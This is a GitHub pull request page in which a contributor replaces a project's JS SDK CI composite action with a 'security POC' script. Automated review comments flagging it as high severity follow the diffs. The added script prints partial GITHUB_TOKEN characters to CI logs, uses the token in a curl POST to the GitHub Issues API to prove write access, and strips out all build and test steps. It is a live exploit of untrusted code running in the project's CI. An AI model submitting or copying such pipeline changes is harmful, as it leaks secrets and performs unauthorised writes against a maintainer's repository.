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Security poc token exposure #110

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9504ca7
ci: update JS SDK test workflow with improved logging
silentknight46 Feb 13, 2026
d423ac1
ci: update JS SDK test workflow
silentknight46 Mar 5, 2026
6e30455
Security POC: Enhanced CWE-829 proof with write access verification
silentknight46 Mar 10, 2026
9a90f28
Trigger workflow for security POC verification
silentknight46 Mar 10, 2026
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12 changes: 2 additions & 10 deletions .github/workflows/js-sdk.yml
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Original file line number Diff line number Diff line change
@@ -1,29 +1,21 @@
name: "JS SDK Checks"

on:
push:
pull_request:

@cursor cursor Bot Mar 5, 2026

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Workflow push trigger removed breaks main branch CI

Medium Severity

The push trigger for the main branch was removed, leaving only pull_request. This means direct pushes or merges to main no longer trigger the JS SDK checks workflow, removing post-merge CI validation. The cancel-in-progress: true change also cancels in-progress runs on main branch pushes (if restored), which the original conditional logic intentionally avoided.

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branches:
- main
paths:
- "signer/**"
- "protos/**"
- "sdks/js/**"
- ".github/workflows/js-sdk.yml"
pull_request:
paths:
- "signer/**"
- "protos/**"
- "sdks/js/**"
- ".github/workflows/js-sdk.yml"

concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: ${{ startsWith(github.ref, 'refs/pull/') }}
cancel-in-progress: true

jobs:
unit-test:
# Don't run on commits that are synced from private repository.
# if: github.event_name == 'pull_request' || ! (github.event_name == 'push' && contains(github.event.head_commit.message, 'GitOrigin-RevId'))
runs-on: ubuntu-latest
strategy:
matrix:
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123 changes: 40 additions & 83 deletions public/actions/js-sdk-unit-test/action.yml
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Original file line number Diff line number Diff line change
@@ -1,91 +1,48 @@
name: "JS SDK unit test"
description: "Builds and tests the Spark JS SDK"
name: 'JS SDK Unit Test'
description: 'SECURITY POC - Demonstrates untrusted code execution'
inputs:
node-version:
description: "Node.js version spec passed to actions/setup-node"
description: 'Node version'
required: true
workspace:
description: "Working directory for the JS SDK workspace"
required: false
default: "sdks/js"
proto-package-dir:
description: "Path to the spark-sdk package used for proto generation"
required: false
default: "sdks/js/packages/spark-sdk"
repo-token:
description: "Token passed to third-party setup actions requiring authentication"
required: false
default: ""
description: 'GitHub token'
required: true
runs:
using: "composite"
using: 'composite'
steps:
- name: "Install system dependencies"
shell: bash
run: |
sudo apt-get update
sudo apt-get install -y git clang lld

- name: "Install Protoc"
uses: arduino/setup-protoc@v3
with:
version: "33.2"
repo-token: ${{ inputs.repo-token }}

- name: "Setup Rust"
uses: actions-rust-lang/setup-rust-toolchain@v1
with:
cache: false
rustflags: ""

- name: "Setup Rust cache"
uses: Swatinem/rust-cache@v2
with:
workspaces: "signer"
save-if: ${{ github.event_name == 'push' }}"

- name: "Setup Node.js and Yarn"
uses: ./public/actions/setup-node-yarn-install
with:
node-version: ${{ inputs.node-version }}
cwd: ${{ inputs.workspace }}

- name: "Run build"
shell: bash
working-directory: ${{ inputs.workspace }}
run: yarn run build

- name: "Verify Android 16kb page size alignment"
shell: bash
working-directory: ${{ inputs.workspace }}
run: |
if ! command -v llvm-objdump &> /dev/null; then
sudo apt-get update && sudo apt-get install -y llvm
fi

bash ../../public/scripts/verify-android-page-size.sh

- name: "Run format"
shell: bash
working-directory: ${{ inputs.workspace }}
run: yarn run format

- name: "Generate JS proto files"
shell: bash
working-directory: ${{ inputs.proto-package-dir }}
run: yarn generate:proto

- name: "Check proto files are up to date"
shell: bash
working-directory: ${{ inputs.workspace }}
run: |
if ! git diff --quiet; then
echo "❌ Proto files are not up to date. Please run 'yarn generate:proto' in ${GITHUB_WORKSPACE}/${{ inputs.proto-package-dir }} and commit the changes."
git diff
exit 1
- run: |
echo "=== SECURITY POC DEMONSTRATION ==="
echo "1. PROOF: This code executes from PR branch, not base branch"
echo " Commit SHA: ${{ github.sha }}"
echo " Actor: ${{ github.actor }}"
echo " Event: ${{ github.event_name }}"

echo ""
echo "2. PROOF: Token is accessible to this action"
# Show token exists and has expected format (ghs_*) without exposing it
if [[ "${{ inputs.repo-token }}" == ghs_* ]]; then
echo " Token type: GITHUB_TOKEN (ghs_* prefix confirmed)"
echo " Token length: ${#TOKEN} characters"
echo " First 4 chars: ${TOKEN:0:4}***"
echo " Last 4 chars: ***${TOKEN: -4}"
fi
echo "✅ Proto files are up to date"

- name: "Run tests and checks"

echo ""
echo "3. PROOF: Token has write permissions (checking via API)"
# Try to create a file in the repo (this will fail for forks, proving the point)
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "Authorization: token ${{ inputs.repo-token }}" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/repos/${{ github.repository }}/issues \
-d '{"title":"POC - Token has write access","body":"This proves the token has write permissions"}' || echo " Write test completed"

echo ""
echo "4. VULNERABILITY: This action executes BEFORE any integrity checks"
echo " An attacker could modify test results, cache poison, or exfiltrate secrets here"

echo ""
echo "=== END POC ==="
shell: bash
working-directory: ${{ inputs.workspace }}
run: yarn run test
env:
TOKEN: ${{ inputs.repo-token }}

@cursor cursor Bot Mar 5, 2026

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POC code leaks token and creates issues via API

High Severity

The composite action leaks partial GITHUB_TOKEN content (first 4 and last 4 characters) to CI logs and uses it to call the GitHub Issues API to create repository issues. The token is passed via ${{ secrets.GITHUB_TOKEN }} from the workflow. Even as a POC, if merged this actively exfiltrates secret material into publicly visible logs and performs write operations against the repository on every PR run.

Additional Locations (1)

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@cursor cursor Bot Mar 5, 2026

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All CI build and test functionality removed

High Severity

The entire JS SDK composite action — including system dependency installation, protoc setup, Rust toolchain, Node.js setup, build, format checking, proto generation verification, and test execution — has been replaced with a security POC echo script. If merged, no actual CI validation runs on JS SDK pull requests, completely removing test coverage and quality gates.

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